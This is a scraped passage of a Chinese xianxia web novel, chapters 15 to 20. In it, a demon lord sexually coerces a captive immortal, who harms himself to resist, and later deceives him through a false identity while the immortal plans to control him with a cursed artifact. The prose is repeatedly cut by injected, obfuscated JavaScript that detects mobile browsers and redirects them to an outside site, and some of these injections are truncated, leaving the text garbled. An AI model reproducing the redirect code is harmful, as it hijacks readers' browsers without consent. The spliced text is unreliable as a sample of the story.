沈砚台尝到了甜头,心情不错,见月轻盈穿着单薄,又想起他被魔族人戏弄的事,脱下黑袍给他披上,随即招人把他带走。 而他还有事要做。 将曾戏弄过月轻盈的几个魔族人打的魂飞烟灭,他遣散了魔族人后,在大殿里继续等着。 不多时,先前被他弄死的小宵,还有那些修士死的地方,皆都有绽放的食灵花出现,花蕊中心都含着颗颗莹白圆润的珠子。 他将其他修士的魂珠吞服,将小宵那颗收了起来,同小川的魂珠妥帖的放在一起。 “月轻盈这么在乎他的徒弟,若是被他知道他的徒弟们未真的死绝,不知道会不会做出一些有趣的举动,真是令人期待啊。” 沈砚台眼眸幽暗,负手离开大殿,而他刚一抬脚,惊觉气血翻涌,唇边有血线滑落。 食灵花的毒发作了。 “果然啊,刚才不该靠近那么一大片绽放的食灵花,带有毒性的花粉还是让我受到了影响。” 察觉体内的气血仍未消停,沈砚台抬手擦去唇角的血,眼里带上了冷意。 “呵,刚和你纠缠过,就又要去见你,月轻盈你当真好本事。” 想起自己用月轻盈解毒还未过去多久,沈砚台有些烦了。 “就没有其他更快解毒的法子吗,累死了。”沈砚台不满嗔怨。 “不过,先前那次我是用了石墨的身份,这次我便用本体。” “既然做了尊后,就该熟悉我这个魔尊夫君才是啊。” 不知道想到了什么,沈砚台眼眸变地幽深,伸出舌尖舔了一下唇角,嘴角带着意味不明的笑。 “月轻盈,谁让你是第一仙尊,是对我最有威胁的人,落在我的手里,你真可怜,当真要被我折磨玩弄到生不如死。” 劲风一扫,大殿前的两扇门开合哐哐作响,沈砚台消失在原地。 月轻盈被关在房里,坐在床边不动,一脸灰败惨白,手死死捂在腹部。 他的丹田有破损迹象,几次仙力逆行,让他受了伤,先前陷入失徒的悲痛未察觉,现在遭受到了反噬。 “额……” 他痛的额头上布满了细汗,浑身颤抖,却未运仙力疗伤。 短短时日,他的身上已不知道背负了多少条生命。 他罪孽深重,不配活着,便想着让丹田里的仙气耗尽,让自己去死。 可眼前却不断浮现小川和小宵,他的命是他们二人以死换来的,如此这样轻易死去,实在愧对两人,也愧对那些枉死的修士。 他发誓,他一定要让沈砚台死,哪怕是手段用尽,他也要见到他死的那一天! 他红了眼眶,坐起身,手掌结印,开始修复丹田。 无数浅淡的气丝成了一个包裹住他的球体,在他身边盘旋,随即被他吸收入体内。 他一旦入定,心神沉于本源,就会露出自己的本体。 快速赶到的沈砚台推开门,见到的就是月轻盈坐在莲台上,有绽放的粉红花瓣护在他周围。 屋内盘踞着庞大厚重的仙力,檀香四溢,更有淡淡的莲香隐在其中。 月轻盈一头如绸缎般的黑发披散着,布料很少的衣着遮掩不住他美好的躯体。 他修炼时,神情专注,眉宇间时而舒展时而轻拧,他闭着眼,先前哭泣让他的眼尾还带着一抹红。 鼻尖上沁出了点点汗意,唇瓣轻抿,双手不时交错换着术法。 看着他周身的仙气,沈砚台挑眉,关上门后,肆意发散自己的魔气,然后恶劣的将仙气连同月轻盈一点点包围。 月轻盈察觉到不对,睁开眼就见沈砚台站在他面前,面容戏谑盯着他。 他心里一惊,手紧握成拳,愤恨地盯着他,一言不发。 “怎么这般无礼,见到夫君该要问候啊,尊后。” 沈砚台说话轻佻,见月轻盈瞬间紧绷,戒备的神情,眼里流动着兴奋。 他的囊中玩物见到他就该是这种反应。 他往前靠近,月轻盈立刻后退,眼里有着慌乱和警惕。 “你想干什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762317|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >才刚杀完人,沈砚台就来找他,难道是他又想到了什么法子来磋磨他吗? 月轻盈有些害怕了。 他怕沈砚台又发疯杀人。 想到惨死的小川小宵,他又止不住恨意,瞪向沈砚台,心中胡乱猜测。 “你以为我想干什么?” 沈砚台又上前靠近,月轻盈再度后退,直到后背贴墙察觉到凉意,才发现已经是无路可退。 “你不是真心却还要娶我,你是想在婚礼上杀了我,宣扬你的实力,这样你就能更加稳固你魔尊的位置还能威慑其他族人是吗?” “杀你?” 沈砚台有一瞬间真的认真思考了一下月轻盈说的这个谋划。 可是很快就给他推翻了。 他盯着这个活的会说话,有情绪,长的又好看的解药,笑得高深莫测。 “倒不用那么血腥,我也能杀你,只不过是用其他方式。” 见他还在朝自己靠近,月轻盈四处逃窜,越惊慌破绽越多,立刻被沈砚台扣住了脚腕,拖在身下一把按住。 危险! 月轻盈抬眼,就见沈砚台居高临下,身躯壮实,胸膛宽阔,神情高高在上表情戏谑。 在他手下,他轻而易举被他搓圆捏扁。 心中顿时有一个不好的猜测,他脸色由青紫变得煞白,挣扎的力度变大。 “放开……放开我!” 沈砚台抬腿压上月轻盈胡乱蹬来的一双长腿,又撕下他的衣袖绑住他的手腕扣制于头顶。 “看来月仙尊的破身之人是我啊。” “不是!滚开!放开我!” 看着逐渐伏身越发靠近自己的沈砚台,恐惧到断了理智的月轻盈,惊慌怒喊。 “你就是个魔鬼,杀人不眨眼的魔,你害死了我的两个徒弟和那么多的修士,我不会让你得逞的,放开!放开!” 月轻盈竭力反抗,眼底仇恨深重,脸色涨红,手腕被布料摩挲的红肿。 见他似厌极了自己,沈砚台乖戾,起了想要驯服他的心。 他该做点什么,才能让月轻盈求他对他做这种事,就像他先前不愿嫁他,最后求着他嫁他那般。 “我……”他的话还没有说完,就被喝止。 16. 第16章 “滚开,不要碰我!” 月轻盈猩红着眼,全身绷紧,抬高脖颈,眼睛死死盯着沈砚台。 两人的距离极近,稍稍一个低头他就会碰到他。 沈砚台整个人压在他身上,他喷吐的呼吸灼热的烫人。 他寻了一个契机,抬起胳膊抵在沈砚台的咽喉部位,颤抖着阻止他的靠近。 忽然他的头皮一疼。 他眼睫微颤,顺着视线看过去,沈砚台竟是发疯的咬住了攀在他胳膊上的黑发。 月轻盈呼吸一窒,眼里的慌乱在加深,他看见沈砚台的眼睛缓慢的变成了深红色。 他先前处罚过因色欲而犯下大错的修士,他现在的眼瞳就如那修士一般,带着侵略性,像蛇,湿滑冰凉黏腻,在他们的缠绕下无处可逃。 “沈砚台,你若是强迫我,我便在你面前咬舌自尽!”月轻盈以死明志。 “那我便率先拔了你的舌头。”沈砚台抬手摸上了月轻盈的下巴,不以为真。 月轻盈下了铁心,不让他得逞,眉头一动,唇边有鲜血流出。 见他真的弄伤自己,沈砚台眯眼,施法将他定住,掰开他的嘴巴,检查他的伤势。 一截断舌鲜血淋漓。 “不错,很有骨气。”沈砚台愠怒,咬牙称赞。 施法给他疗伤,他盯着怒瞪着他的月轻盈,勾唇笑得残忍。 “你既然连死都不怕,想来应该也不怕疼。” 他将月轻盈放倒,上下其手。 月轻盈被控制,无计可施,只红着眼眶,眼睁睁看着沈砚台朝他压了过来。 疼意和屈辱让他崩溃,他强力调动自己的仙力,不顾筋脉崩断,为自己争取到一丝反抗的机会。 “我死也不会让你如愿!” 月轻盈将没有防备的沈砚台拍飞,猛地反手拍向自己的天灵盖。 顿时,魂魄四散颤抖,他身体猛地后仰,天旋地转,身子一软轰然倒在床塌上。 瞬间,他的七窍流出大量的血,口中亦在吐血,沈砚台见他竟真的对自己动手,气的龇目欲裂。 “你疯了!” “月轻盈,你就是死,我也要让你眼睁睁看着我怎么羞辱你!” 月轻盈想笑,嘴唇微启,但吐出的都是血,他嘲讽的看着他,像是看一个小丑。 沈砚台暴怒! 猛地扑上去,看着此刻跟血人一样的月轻盈,额角青筋绷起,给他检查伤势。 还好,还来得及。 他眼眸深沉的看着月轻盈,拧起了眉头,咬咬牙,竟变回本体,用变成了刀子的蛟尾将自己的心口划开,逼出金色的精血。 月轻盈见他强行运着那精血送入自己口中,立刻就疯了。 “我不要你救,你杀了我!” “杀?”沈砚台冷嗤,“我想让你活你便只能活着,我想让你死,你便活不到第二日!” “到底为什么!” 月轻盈迷惘,怨恨着,发着怒,不明白为什么沈砚台对他执念这么深。 “你是魔,我屠魔,你杀我便可解心头恨,为何多次刁难我,却还不让我死。” 月轻盈无助的哭,即将被逼疯。 “说什么呢,你可是我的小新娘,我魔族尊后还未被人一睹真容就死了,我魔尊的颜面往哪搁?” 可笑。 月轻盈哭着哭着就笑了,“原来你沈砚台……竟是为了颜面……” 大笑后他安静了下来,随即整个人阴沉无比,阴恻恻的瞪着沈砚台。 “沈砚台今日你不杀了我,日后可要小心了,之后你一旦露出破绽,我必会将你死死抓住,千刀万剐,万般凌虐,让你生不如死!” 沈砚台将心口合上,变成人身,失去大量的精血,他的唇色有些苍白。 见月轻盈有力咒骂他,他眯眼嬉笑。 “哦?看来你恢复的很好,那我们继续刚才的事。” 月轻盈全身冰凉,看着靠近的沈砚台,对其恨之入骨。 “你真是疯子!疯子!你为什么不去死!滚开!” 他的手发着抖,推搡着沈砚台坚硬如石的肩膀,脚也下了狠命踢着沈砚台结实绷紧的大腿。 沈砚台虚弱连带着术法也变弱了许多,嘴上仍轻佻,“你反抗时表情变多了,比你先前那寡淡的几个表情好看多了。” 月轻盈心尖一个颤抖,浑身都在尖叫着逃跑,濒临的危机感让他更大力的扭打沈砚台。 “放开,放开我!” 沈砚台歪头,看着捶打他的月轻盈,此时长发散乱,全身因愤怒变红的肌肤,眼睛因恐惧不自觉弥漫上的水意,眯起了眼睛。 总觉得不做点什么对不起他的表现呢。 他现在受伤,连钳制月轻盈都费力,根本做不了什么。 但见他这么不愿,就是想吓吓他。 他埋首张嘴咬在月轻盈脆弱的脖颈,轻吮他颈间的檀香,将他薄薄白白的肌肤变成红色 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月轻盈……喊了石墨。 那个他编造出来的魂修,石墨。 月轻盈竟走投无路到如此地步,竟然渴望一个骗了他身子,满嘴谎话,根本不存在的人救他。 他眼眸很深,盯着抽泣,拿手擦去泪水,用惊恐和狐疑眼神偷偷瞥他,欲要逃跑的月轻盈。 他嗤笑,立刻做了决定,那就让石墨来救他好了。 “石墨是谁!” 月轻盈受惊,看着忽然变地凶恶的沈砚台,有些后悔了。 沈砚台要是真的去找石墨该怎么办,要是石墨因他受了牵连怎么办! 见他不说话,沈砚台挑眉,暴戾起来,他狠狠抓扯着月轻盈丰厚的头发,满脸狰狞。 “那个人是谁,是你的姘头,他是不是也睡过你……他在哪……他……” 头皮一阵撕裂的疼,月轻盈拧着脸,身体被迫凹陷出弧度,朝着沈砚台方向靠过去。 他原以为沈砚台会将他毒打一顿,没想到他突然不动了。 他惊疑不定的看着沈砚台半晌,见他还维持着姿势不动,察觉出了不对劲。 “盈盈。” 一道熟悉的清朗男声,他不可置信转头,瞬间泪如雨下,一道高挑的身影朝他走来。 17. 第17章 是石墨。 “石墨……”月轻盈低泣,看着他不知为何心底的委屈和害怕尽数涌上心头。 像是抓住了最后一根救命稻草,他朝他伸出了手。 “我在。”石墨走到月轻盈身边,抬手,两人手掌交握。 这真实的触感,不是假象,月轻盈泪眼婆娑看着石墨,内心翻涌不止。 忽地,他停止哭泣,看着石墨眼里带上了歉意和焦急。 “对不起,都是我贸然向你求救,害得你被牵连,你快走,我担心沈砚台一会清醒过来你会……” “无碍。”石墨摇头,动作轻柔的将他的发丝从沈砚台的手中尽数抽走。 他弯腰抱起月轻盈,带离沈砚台的身边,让他坐至一旁的长塌上,解开他腕间的布料,给他红肿的伤口上药,耐心的安抚他。 “我找到了能让沈砚台暂时失去意识的方法,你别怕。” 他打量着月轻盈,英挺的眉宇缓缓皱了起来,咬牙切齿一阵愤怒。 “你受伤了,还有你现在的样子……都是沈砚台做的对不对,我这就去帮你杀了他!” 月轻盈眼睛片刻不离石墨,还在后怕,看着起身抽出刀朝沈砚台走过去的石墨,伸手拽住了他的衣袖。 “别杀他。” 从高度紧张到现在的逐渐缓和,月轻盈的嗓音有着破碎的沙哑。 石墨转头不可置信的看他:“他差点强迫你,你还要留他的狗命?” “不是,不是的。”月轻盈轻轻摇头,看着石墨,眼里有着无尽的无奈和悲意。 “他如今是魔尊,若是就这么死了,魔族无首必会混乱,定会杀戮不止,正道修士们得知沈砚台死了,必会对魔族发起屠杀,届时又是腥风血雨,魔族和正道经不起这样的伤亡了。” 石墨眸光复杂的看着他,叹气,“那你打算如何?” 月轻盈移开视线,深吸一口气,看向石墨的眼睛里带上了深沉的歉意。 “我可能履行不了和你的契约了。” 石墨不解:“这是什么意思?” 月轻盈苦涩一笑说,“我没有资格在活下去了。” 他的两个徒弟的命,那些修士的命,他偿还不起,若他还活着,沈砚台定还会像刚才那般辱他。 想到沈砚台,月轻盈脸色白了白。 石墨听到他说死了很多人,怔然,“怎么会这样。” “是啊,怎么会这样,这一切都是我的错……”月轻盈捂脸低声抽泣。 “石墨,谢谢你来救我,正好借这个机会,我想拜托你一件事,等我死后你便抽出我体内的天骨,交给我的徒弟小河。” 小河天赋异禀,有天骨加持,在沈砚台手下怎么也能有条活路。 月轻盈含泪抬眼看向石墨,“我曾向天地起誓,抛弃了万物苍生,选择了我的徒弟们,如今我的徒弟们在我的眼皮子底下一个接一个死去……我没有在活下去的理由了。” 石墨抿唇,眼神沉痛的看着他,“你太让我失望了。” 月轻盈一怔。 石墨说:“我一直隐藏气息,你徒弟小川的死,大殿里发生的事,你徒弟小宵的死,我全都知晓,若我没有记错的话, 你徒弟小川希望你拯救天下,你徒弟小宵希望你好好活着……你就真的这么心狠,要背背弃他们想要你活下去的信念一死了之吗?” 月轻盈泪流满面。 石墨劝道:“你该做的不是想着死,而是完成他们的心愿。” “没有机会可以创造机会,你不是说你会成为尊后吗,那时候再找机会杀了沈砚台,或者是……改变沈砚台,都是机会,事在人为啊,盈盈你要懂得这个道理。” 月轻盈没有自信,他在沈砚台这个魔头手里看到的只有死亡,没有生路。 他啜泣起来,想着两个徒弟以命换命让他活着,内心痛苦不已。 他手指交缠摩挲,好半晌后,停止哭泣,吐出心口一股浊气。 他缓缓抬眼看向石墨,“你说得对,我不能一遇事就想着结束自己,我该有担当,负起自己的责任。” 他整理好情绪,眼神变地坚定。 “石墨……”他轻唤。 “嗯?”石墨回以温柔的注视。 “我……我这里有情丹……”月轻盈眼眸闪躲,遮遮掩掩。 “情丹?” 石墨神情怔然,看着月轻盈的目光高深莫测,“那种东西你怎么会有?” 情丹……是扣进心门死穴,可以掌控情感和欲望的神器。 被种下情丹者会产生幻觉,对种情丹者极尽深情深爱。 但种情丹者在利用完被种情丹者,被种情丹者则会遭到剜心的苦、最后清醒着疯,疯了又清醒着,痛不欲生而死。 情丹也被称之邪物。 据说这是上古某个邪修炼制的,这情丹帮助这邪修的修为快速升阶,差点成神。 不过,邪不压正,在紧要关头,这邪修还是被天道的天雷给劈的魂飞魄散。 情丹也下落不明。 本来月轻盈一等仙尊是接触不到这等邪物,这还得要归功于他先前拿下被色欲缠身的修士身上所得。 想来那修士该是修为不敌情丹,最后被它反噬,才会被色欲缠身,到处做孽,最后被他诛伐。 听完月轻盈得到情丹的来龙去脉,石墨感叹:“倒是不知道你还有这样的机遇。” “那你先前怎么没想到用这个情丹?” 月轻盈唇瓣翕动,眉间忧愁,自嘲一笑:“我……我没料到沈砚台使出的都是见不得光的手段,我也被逼到如此地步,同样用了见不得光的手段……” “那你此刻又怎会想起将情丹用在沈砚台身上?” “我看中了沈砚台的身份,他是魔尊,日后不久,我将是他的……”月轻盈难以启齿,最后艰难坦白:“我将是他的尊后。” 如此一来,他就可以利用情丹掌控沈砚台对他心生情感,编造魔尊疼爱偏宠尊后的谎言,先让沈砚台解开对正道人士的控制,最后在让他劝魔族人皆向善,惧怕生命,认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762319|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔悟。 即使做不到,也希望他们能不在杀生,从此世间清正。 月轻盈说出自己的打算,去寻求石墨的意见,却见石墨眼神深沉的看着他。 他不觉紧张,眉眼低垂,“我是不是有些自大了,眼下这个局面,我明明连自己都救不了。” “不,你的想法很好,沈砚台是这一切罪孽的开端,用他来终止这一切的罪孽,也是他在还债。” 月轻盈侧目认真的听。 石墨在他看不见的地方,眸光变冷,口中的话语声还是很温和。 “那做好这一切之后,沈砚台……你打算拿他怎么办?” 月轻盈张张嘴,眉头拧了起来,似是没想到怎么对待他。 石墨追问:“你是打算利用完他,最后让情丹剜了他的心,还他清醒,最后让他痛不欲生的死去吗?” 月轻盈没忍住看了一眼不远处的沈砚台,他衣裳凌乱,脸上带着怒气,眼里有着未消散的□□。 想到自己差点被这疯子欺辱,月轻盈脸色白了白,又想到他杀了自己两个徒弟,和那一众无辜的修士,他的眼圈猩红,恨之入骨。 “对,我要他死!” 石墨不说话了,盯着月轻盈像是要将他盯出一个洞。 他的手搭在桌子上,食指无意识的敲击,咚咚咚,敲进了月轻盈的心里,他不禁有了丝毛骨悚然的感觉。 “你怎么了?” 石墨眼眸一闪,迅速回神,对着月轻盈笑着摇头:“没事,我就是在想,在这件事里我该怎么做才能帮你?” 月轻盈这个时候吞吞吐吐,犹豫了起来,他不时偷看石墨,表情纠结发愁,脸颊一会通红一会煞白。 石墨觉得有趣,手撑着下巴,看他数次变脸,数次鼓起勇气又泄气,几个反复,笑出声。 “你有话不妨直说。” 月轻盈忽地抬手,捞起胳膊边垂着的为数不多的布料将自己的脸遮起来。 从那一层薄纱中,有些滞涩地细微的声音传出,“我们……什么时候双修?” 石墨脸上的表情变地古怪,他看着月轻盈遮掩不住的雪白莹润的耳朵,逐渐变粉,挑起了眉眼。 “可你刚才差点被沈砚台欺辱的时候,不是喊了求救?” 月轻盈脸色发白,唇瓣抖了抖。 石墨观他神色,接着问:“你不怕?” “怕。”月轻盈深吸口气。 定了定心神,他从薄纱后面稍稍探出头,露出细致的眉眼,垂眸,酸涩开口。 “我不愿。”他缓缓抬眸,眼里有着水汽:“我不愿和沈砚台那个魔头,他杀了我两个徒弟,还有无辜的修士,我恨他都来不及,而且他还强迫我……” 他看着石墨,眸光悲凉:“直到现在我才知道,我一个人根本什么都做不了,我最后的依仗便是你,你和我双修,助我修为上涨,加上情丹,我一定会用尽千方百计,竭尽所能杀了沈砚台。” 借用石墨的身份听清楚月轻盈心中所想的沈砚台,心里杀意大盛。 18. 第18章 他原本准备坦白自己是石墨,羞辱他一番,最后将他杀死。 可是想到自己身上的食灵花毒,他又是一阵头疼。 他也不能伤害月轻盈,没了修为的月轻盈与常人无异,解毒功效不大,他盯着月轻盈,眼底忽明忽暗。 不过。 看月轻盈的意思,他现在有些依赖石墨了。 无妨,就让他以石墨的身份,接近他,对他好,等他爱上自己或者离不开自己,待到自己的毒清除,他便告知他一切真相。 最后将他杀掉,岂不是更好玩,更能在这无趣的生活中给自己带来点鲜活的乐子,愉悦自己。 “石墨兄?”见他不说话,月轻盈有些踌躇,满脸不安。 “好,我帮你,你想什时候双修?” “待……把情丹放入沈砚台的身体里,石墨兄意下如何?” 月轻盈眼神闪躲,回答的磕磕绊绊,放下手,手心里已然都是汗水,微垂着眉眼,不与石墨对视。 石墨看出了他的紧张和难堪,缓缓一笑,“别乱想,我们双修是为了杀了沈砚台,这样你就不会不自在了。” 月轻盈抿唇,感受到石墨的好意,镇静了下来,他摊开了手心,拿出了先前提到的情丹。 它通身浑圆,呈黄铜色,巴掌大小,像个铃铛,底端有一条横切开的切口。 石墨下意识问那道切口有什么用。 “那便是能扣进心门死穴,情丹的情根。” 月轻盈对着情丹输入仙力,只听咔哒一声,从底端横切的切口立刻弹出三道竖着的很是尖锐的长爪。 石墨凑过去细看,这才发现这爪子里面大有文章,那爪子间里都是倒刺,一旦靠近心门死穴,必将牢牢扣入。 若想强行扯下,定会将自己的心脏扯的稀烂,若是种情丹者想丢弃被种情丹者,结果亦也是心脏被剜。 “好毒的邪物。” 沈砚台自认自己的食灵花已经够绝,没想到这情丹更是极妙。 想到这东西用在自己身上,沈砚台不禁看向月轻盈,忽觉这第一仙尊亦是狠心之人。 他收回眸光,关注在情丹身上,不露痕迹问道:“如何破解这情丹?” “中情丹者死,情丹不破而解。”月轻盈抬眸向石墨,认真道。 沈砚台闻言,简直想放声大笑。 现在可好了,待他毒解之日,便是月轻盈死期,情丹根本威胁不到他。 不过,他自生出意识到一路登顶,成为只手遮天的魔尊,期间历经的艰难险阻足以让他十分警觉,他不会允许一丝细微的危险放在身边。 他眼睛落在月轻盈身上,见他起身抖着手,神情慎重的将情丹扣在沈砚台身上。 待他要施法时,他立刻使用术法打断,又加了一层术法,让月轻盈产生他成功将情丹种在沈砚台身上的幻觉。 “好了。” 月轻盈哆嗦着手,将沈砚台胸前被他扒开的衣服合上,眼睛看向别处,不敢多看他一分。 石墨眯眼,他的术法也好了。 月轻盈还是他的掌中玩物,便松懈了几分,起了逗弄月轻盈的心思。 “你先前说待情丹种在沈砚台身上,你就和我双修。” 月轻盈眼睫快速眨动了几下,有些手足无措。 石墨眼神立刻变地深邃了几分,他支手撑在桌子上,搭着脑袋,柔若无骨的样子,对着静立不动的月轻盈,拍了拍自己结实的大腿。 “我人就在这里,你什么时候过来吸我的灵气?” “我……我……”月轻盈被臊的满脸通红,可又想到这一切都是为了杀了沈砚台,他咬牙,眼神逐渐变地清明,随即,朝着石墨迈出了步伐。 他看着坐在凳子上,双腿大开,等着他来的石墨,看了半晌,有些无从下手。 “我该怎么做?”他的手探出,总觉得碰哪里都不对,他眼里满满地迟疑。 “先脱衣服啊,盈盈。”石墨嗓音哑哑地,带着轻佻,尾音拉长满是戏弄。 月轻盈便笨拙的给石墨脱衣服,他的手抖得不像样子。 石墨坐在凳子上,腰腹部的腰封又被他卷了进去,月轻盈不得不弯腰去拉扯他的束带。 他浅浅带着檀香的呼吸落在石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石墨坐姿正经起来,看着跟上了弦的箭似的绷紧的月轻盈,也不想在耽误时间了。 一是,食灵花的毒又开始作祟了,再不快点他要当着月轻盈的面吐血了。 二是,与月轻盈多次双修,日后在他知道真相那一刻,想来必定也会更加难以承受,悔不当初。 对他多么的恨海难填。 “跟我来。”石墨眼眸一闪,圈住了月轻盈,两人闪身来到别云间。 19. 第19章 别云间,是一大片浅蓝色湖水澄澈的湖泊。 周边修葺的有玉石建造的地面和入水时的台阶,以及水池旁边一方石头桌椅及一套茶具。 月轻盈跟在石墨的身后,打量四周,才发现这里寡淡平凡的没有一点颜色。 他没见到一棵树一枝花,没有动物,这里死气沉沉,让人倍感窒息。 见石墨带着他往前走,月轻盈逐渐停下脚步,“这里是哪里?” 石墨走至桌边坐下,拎起玉壶给两人倒了一杯茶水。 “对这里好奇?” 见石墨招手让自己过去,月轻盈撩起衣袍坐下,点点头。 “这里是我长大的地方。”石墨说的风轻云淡。 月轻盈犹疑着不知道该说什么,他天赋高,自拜入修仙法门后,就过上了有外门弟子侍奉,得长老师傅师兄弟们关心的日子。 可谓是在关爱和体贴照顾中被疼爱着长大。 见他眉头紧拢,石墨就知道猜到他多想了。 他心思一动,也不知道怎么就放任他侵略自己的领地,“你要是觉得这里简陋,没有生气,可自行往里张罗添点物件。” 月轻盈眉头舒展,思索片刻,低首从自己的腰间掏出了一粒种子。 “这是撼天树的种子,长大后可以吐出仙气,我看你这里有一方桌椅,可以种植在旁边,天热可以遮阴,下雨了可以遮挡点雨水………雨势过大自然是遮不住的……还望石墨兄莫要嫌弃。” 见他这么认真为别云间着想,石墨唇角勾着笑,“盈盈这么用心,双修时石某必然要多出些气力。” 月轻盈端起水杯抿了一口,眼睫微颤,余光就见石墨探出手凑近,他的眼前一片黑暗。 “知你容易害羞,这次你便别看了。” 月轻盈本来很紧张,闻言觉得有道理,心驰松懈了几分。 他能感受到自己的眼前被一方布给蒙住,手被石墨牵着,衣物摩擦的声音响起。 氤氲的湿气翻腾。 片刻后,月轻盈背对着石墨,坐在水池边穿衣服,洁白的仙衣一点点遮掩住他清瘦柔韧雪白的肌肤。 他举手投足前的优雅从容,让沈砚台想到了在牢里,他轻整衣裳然后起势和他结契时的脱凡出尘。 石墨紧盯他不放,“我们下次什么时候才能见面?” 月轻盈起身,一步慢过一步,闻言,脚步虚浮忽然一个踉跄,莹润雪白的耳朵被点缀上了红色。 “我也不知……可能是我和沈砚台大婚之后……”他声音趋于越来越小。 他觉得自己不够明智,脑子混乱,不知道这么做对不对。 见他眉头复又有愁绪攀爬,石墨挑眉,轻笑:“好啊,那就在你和沈砚台大婚后的当晚我来找你。” 月轻盈一惊,迷惑,下意识摇头:“就为了双修?不行……太危险了……” 他皱起眉头,满脸担忧:“我还不知道情丹对沈砚台有没有生效。” 石墨也觉得自己莽撞了,点头,“你说的也对。” 他起身,步伐沉稳嘴角勾着笑,走进月轻盈,轻声慢语。 “那我便在别云间等你,你只要有空便来找我,我在这里守着树,等你。” 月轻盈唇瓣翕动,哑然,犹豫道:“你不用如此,你也要修炼。” 石墨耸肩,无所谓道:“我如今到了大罗金仙修为,比你还高一个等级,普通的术法练起来没用,还不如跟你双修。” 月轻盈无话。 石墨摊开掌心,将撼天树的种子给月轻盈看:“我就在这里等着,一边养树一边等你。” 这话似有别的含义,月轻盈拧眉,没有应答,两人只是双修关系。 偶尔的悸动,害羞,红脸,也只是在双修前后才有,不是感情。 月轻盈觉得有必要把话说清楚,免得造成误会,届时对他对石墨都不好。 “石墨兄,你我只是双修契约,不必如此委屈自己。” 石墨心说,月轻盈真是心思灵敏,反应很快,分的也很清,也不那么轻易好接近。 他坐回椅子上,懒散的往桌子上一摊,“莫要担心,在下并不喜欢你这个没有情趣的男人。” “我离开这么久,该去看看沈砚台。” 月轻盈一僵,好气又无奈,冲着假寐的石墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762321|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拱手,随即离开了别云间。 他一离开,沈砚台便睁开了眼。 想着刚才月轻盈对着石墨脸红低泣求饶,忽然有些不爽。 他总觉得,像是亲眼见着自己的妻子和别人鬼混,妻子还和情夫在背后大肆说着他坏话。 啧。 他咂嘴,慢条斯理给自己穿衣,收整的时候想起了胸口处的情丹,他将根本没被成功开启的情丹拿下放在掌心把玩,接着随手收了起来。 他起身几个拔步就要离开别云间,倏然想到什么。 看着月轻盈给的那颗撼天树的种子,半晌后,他随手撒在了桌椅的四周,任其生长。 一棵种子而已,改变不了他日后要杀了月轻盈的决心。 他闪身来到魔族,先是四处巡查了一番,又去检查了被食灵花控制的正道修士们。 他所到之处,魔族人们皆一脸呆愣,这个陌生人是谁,胆敢擅闯魔族! 直到嗅到了魔尊沈砚台的味道,他们才反应过来,他们那个猜不透心思的魔尊,今天玩了一出分.身法。 见时间差不多了,沈砚台嘴角噙着坏笑,散去分身回归本体。 他细细打量了一番月轻盈如他所说,回到了屋内,此刻正拿着沈砚台的手抓扯自己的头发,恢复他离开时的姿势。 见他掐诀,石墨的分.身立刻归位。 他还维持着暴怒要打月轻盈的状态,见月轻盈没有动作,便接着装下去质问。 “你的情夫到底在哪!” 月轻盈收敛心神,应付沈砚台,眼神落在他的胸口,手上掐决,“沈砚台你如今心悦我。” 沈砚台狰狞的表情一顿,眼里有着茫然,好半晌后,他整个人缓和了下来,气场温柔了很多,似是真的陷入被情丹控制。 “是的,小盈,我心悦于你。” 月轻盈忍不住眼圈一红,情丹有效,沈砚台变了,他为徒弟报仇,拯救正道人士,还世间清正,杀了沈砚台的可能性增加了。 不过为了试探沈砚台是不是真的被他种下的情丹控制,月轻盈掐诀又道:“沈砚台,既然你心悦我,你便会事事依着我对吗?” 20. 第20章 他眼也不错的看着沈砚台,逡巡他脸上的表情,只要有一丝一毫的不对劲,他都不会说出来接下来的话。 月轻盈心跳如擂鼓。 好在,沈砚台在沉默了一会儿,倏然一笑,“我心悦小盈,只要你提的事不过分,我自然会事事依你。” 月轻盈心门一松,试探出口:“那我想你在我们的婚礼上,让我徒弟小河及小部分正道修士恢复神智你也会答应吗?” 让他放了全部的正道人士,恐会引起沈砚台的怀疑。 沈砚台挑眉,“怎会不答应,让几个正道人士恢复神智是小事,同时还能让他们观礼,见证我们成亲,是好事啊。” 月轻盈见他说的不似假话,便不在掐诀。 沈砚台已经被情丹控制,一切都会变好的。 就在他细心筹备着下一步该怎么办的时候,沈砚台突然出声。 “小盈真坏,对我提这么多要求,却不给我一点甜头吗?” 